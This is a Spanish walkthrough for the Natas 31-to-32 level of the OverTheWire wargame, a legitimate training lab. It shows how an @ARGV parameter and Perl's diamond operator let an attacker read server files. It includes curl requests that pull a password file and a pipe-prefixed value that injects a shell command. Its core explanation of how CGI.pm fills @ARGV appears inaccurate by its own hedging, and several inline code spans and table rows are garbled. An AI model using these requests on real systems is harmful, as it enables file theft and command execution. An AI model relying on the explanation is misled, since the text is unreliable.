Natas Nivel 31 a 32
Nivel oficial: http://natas31.natas.labs.overthewire.org
Este nivel expone una aplicacion Perl/CGI con subida de ficheros. El fallo no esta en la logica de negocio, sino en una caracteristica del propio lenguaje: el operador diamante <> de Perl, cuando se alimenta de @ARGV, interpreta ciertos valores como nombres de fichero o incluso como comandos de shell. Manipulando el nombre de un campo de formulario es posible leer ficheros arbitrarios del servidor.
Laboratorio legal y autorizado. OverTheWire es una plataforma educativa de wargames. Practica estas tecnicas unicamente en entornos con permiso explicito.
Objetivo
Hacer que el servidor Perl lea y devuelva el contenido de /etc/natas_webpass/natas32, obteniendo asi la contrasena de natas32 (<pass_natas32>).
Que aprendes
| Concepto / Comando | Para que sirve |
|---|---|
Operador diamante <> en Perl | Leer lineas de ficheros o STDIN; usa @ARGV como lista de fuentes si esta poblado |
open de 2 argumentos en Perl | Abre ficheros sin separar modo de nombre; vulnerable a inyeccion de modo (` |
Abuso de @ARGV en CGI | Un parametro de formulario con nombre ARGV inyecta valores en la lista de ficheros que <> leera |
Multipart form-data en curl | Construir peticiones con campos de texto y ficheros en el mismo envio |
| LFI (Local File Inclusion) | Leer ficheros locales del servidor desde una peticion HTTP |
Concepto clave
Lectura de ficheros arbitrarios via @ARGV y el operador diamante en Perl CGI
En Perl, el operador diamante <> sin argumento es azucar sintactico para <ARGV>. Su comportamiento es:
- Si
@ARGVesta vacio, lee de STDIN. - Si
@ARGVtiene elementos, los interpreta como nombres de fichero, los abre uno a uno y los lee en orden.
En un contexto CGI, los parametros del formulario se convierten en variables del entorno o se procesan con modulos como CGI.pm. El modulo clasico CGI.pm rellena @ARGV con los valores del parametro cuyo nombre es ARGV. Esto significa que si la peticion HTTP incluye un campo llamado exactamente ARGV con valor /etc/natas_webpass/natas32, el script Perl leera ese fichero cuando ejecute <> o while (<>).
La categoria OWASP mas proxima es A03:2021 - Injection (inyeccion de parametros que controlan el flujo de entrada de datos) y A01:2021 - Broken Access Control (acceso a ficheros fuera del ambito previsto).
Nota sobre ajuste fino: El mecanismo de
@ARGV/<>es real y documentado. Sin embargo, el codigo exacto del nivel en vivo puede requerir que el campoARGVllegue como parte de un envio multipart (junto con el fichero que el formulario espera) o como parametro de query string, segun como el script procese la entrada. Los pasos siguientes cubren la variante mas comun; si no funciona, revisa el codigo fuente del nivel y ajusta el nombre del campo o el metodo de envio.
Paso a paso
-
Observa el formulario del nivel. La pagina presenta un input de tipo
filey envia la peticion comomultipart/form-data. Revisa el codigo fuente HTML para identificar el nombre del campo de fichero (normalmentefile) y la accion del formulario. -
Comprueba el codigo fuente del script (el nivel suele enlazar o mostrar el
.pl). Busca cualquier uso de<>,while (<>), oCGI->param. Confirma que el script llama a<>sin argumento o itera sobre@ARGV. -
Construye la peticion maliciosa que envia simultaneamente:
- El fichero que el formulario espera (puede ser un CSV vacio o con contenido arbitrario, para satisfacer validaciones superficiales).
- Un campo de texto con nombre
ARGVy valor/etc/natas_webpass/natas32.
curl -s \
-u natas31:<pass_natas31> \
-F "file=@/dev/null;type=text/csv;filename=dummy.csv" \
-F "ARGV=/etc/natas_webpass/natas32" \
"http://natas31.natas.labs.overthewire.org/index.pl"Desglose de los flags:
-F "file=@/dev/null;..."envia un fichero vacio como campofilepara que el script no falle en validaciones de presencia.-F "ARGV=/etc/natas_webpass/natas32"inyecta el valor en@ARGVviaCGI.pm.
- Lee la respuesta del servidor. Si el ataque tiene exito, el cuerpo HTML contendra la contrasena de natas32 integrada en la salida que el script produce al iterar
<>.
curl -s \
-u natas31:<pass_natas31> \
-F "file=@/dev/null;type=text/csv;filename=dummy.csv" \
-F "ARGV=/etc/natas_webpass/natas32" \
"http://natas31.natas.labs.overthewire.org/index.pl" \
| grep -oE '[a-zA-Z0-9]{32,}'La contrasena de natas en OverTheWire suele ser una cadena alfanumerica de 32 caracteres. El grep filtra candidatos.
- (Variante) Si el script usa
opende 2 argumentos con un valor de@ARGV, tambien es posible ejecutar comandos con el prefijo|:
# AVISO: esto solo funciona si el codigo usa open($fh, $valor) sin separar modo.
# En muchos niveles de natas, el objetivo es solo leer ficheros, no ejecutar comandos.
-F "ARGV=|cat /etc/natas_webpass/natas32 |"Esta variante puede requerir ajuste segun la version de CGI.pm y la configuracion de Perl. No la uses si el objetivo es solo lectura de fichero.
Por que funciona
CGI.pm (el modulo CGI clasico de Perl) tiene un comportamiento historico: cuando procesa los parametros de una peticion, si existe un parametro llamado ARGV, rellena la variable global @ARGV del script con sus valores. Este comportamiento fue disenado para permitir que scripts CGI recibiesen argumentos de linea de comandos via HTTP, pero crea un vector de ataque cuando el script usa <>.
El operador diamante <> equivale a:
# Lo que Perl hace internamente:
while (defined($_ = <ARGV>)) { ... }
# Que a su vez hace:
open(ARGV, $ARGV[0]); # abre el primer elemento de @ARGV como ficheroSi @ARGV[0] es /etc/natas_webpass/natas32, Perl abre ese fichero y su contenido fluye por el bucle, terminando en la salida del script.
El fallo de diseno es doble: (1) CGI.pm expone una variable global del interprete (@ARGV) a traves de la entrada HTTP, y (2) el script no valida ni limpia @ARGV antes de que <> lo consuma.
Errores comunes
| Error | Causa probable | Solucion |
|---|---|---|
| El servidor devuelve un error de validacion de CSV | El script comprueba que el fichero subido tenga contenido o extension correcta | Sube un CSV minimo: -F "file=a,b,c;type=text/csv;filename=dummy.csv" en lugar de /dev/null |
| La respuesta no incluye la contrasena pero tampoco hay error | El campo no se llama ARGV en el formulario de ese despliegue concreto | Revisa el codigo fuente del script .pl para confirmar el nombre del parametro y el uso de <> |
curl codifica mal el campo multipart | Mezcla de -d y -F en la misma llamada | Usa solo -F para todos los campos cuando el formulario es multipart/form-data |
| El ataque de ` | comando | ` no ejecuta nada |
Pasar al siguiente nivel
Con la contrasena <pass_natas32> obtenida, accede a:
http://natas32.natas.labs.overthewire.org
Credenciales: usuario natas32, contrasena <pass_natas32>.